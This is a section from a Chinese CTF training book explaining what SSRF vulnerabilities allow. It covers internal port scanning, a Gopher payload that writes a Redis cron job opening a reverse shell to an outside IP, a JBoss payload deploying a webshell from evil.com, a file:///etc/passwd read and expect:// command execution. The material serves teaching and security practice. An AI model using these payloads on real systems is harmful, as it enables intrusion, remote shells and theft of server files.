CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

4.3 危害与利用技巧

利用SSRF漏洞可以进行的攻击类型有很多,这取决于服务端允许的协议类型,包括但不限于下文要讲的这5种类型。

1.端口扫描

http://example.com/ssrf.php?url=http://192.168.252.130:21/

http://example.com/ssrf.php?url=http://192.168.252.130:22/

http://example.com/ssrf.php?url=http://192.168.252.130:80/

http://example.com/ssrf.php?url=http://192.168.252.130:443/

http://example.com/ssrf.php?url=http://192.168.252.130:3306/

...snip...

可通过应用响应时间、返回的错误信息、返回的服务Banner来判断端口是否开放,如图4-2所示。

图4-2 SSRF探测内网服务端口示例

图4-2中,左侧为访问22端口并从错误信息中返回Banner,右侧为访问80端口被拒绝(未开放)。当PHP未开启显错模式时,可通过响应时间来判断端口是否开放。

2.攻击内网或本地存在漏洞的服务

利用SSRF漏洞可对内网存在漏洞的服务进行攻击(如缓冲区溢出等),如图4-3所示。

图4-3 SSRF攻击内网服务示例

如对HTTP发送的数据是否能被其他服务协议接收存在疑问,可参考Freebuf上的文章:《跨协议通信技术利用》 http://www.freebuf.com/articles/web/19622.html。

另外,值得注意的是Gopher协议,其说明如下。

Gopher协议是HTTP出现之前,在Internet上常见且常用的一种协议。当然现在Gopher协议已经慢慢淡出历史。Gopher协议可以做很多事情,特别是在SSRF中可以发挥很多重要的作用。利用此协议既可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求。这无疑极大地拓宽了SSRF的攻击面。

——《利用Gopher协议拓展攻击面》–长亭科技

下面的Payload展示了如何利用Gopher协议来攻击内网中的Redis主机:


gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

3.对内网Web应用进行指纹识别及攻击其中存在漏洞的应用

大多数Web应用都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。基于此特点可利用SSRF漏洞对内网Web应用进行指纹识别,如下Payload可以识别主机是否安装了WordPress:


http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Fimages%2Faudio.jpg

得到应用指纹后,便能有针对性地对其存在的漏洞进行利用。如下Payload展示了如何利用SSRF漏洞攻击内网的JBoss应用:


http://example.com/ssrf.php?url=http%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%3Djboss.system%253Aservice%253DMainDeployer%26methodIndex%3D3%26arg0%3Dhttp%253A%252F%252Fevil.com%252Fwebshell.war

4.文件读取

如果攻击者指定了file协议,则可通过file协议来读取服务器上的文件内容,如:

http://example.com/ssrf.php?url=file:///etc/passwd

执行结果如图4-4所示。

5.命令执行

PHP环境下如果安装了expect扩展,还可以通过expect协议执行系统命令,如:

http://example.com/ssrf.php?url=expect://id

图4-4 SSRF读取文件示例

[1] http://www.freebuf.com/articles/web/19622.html。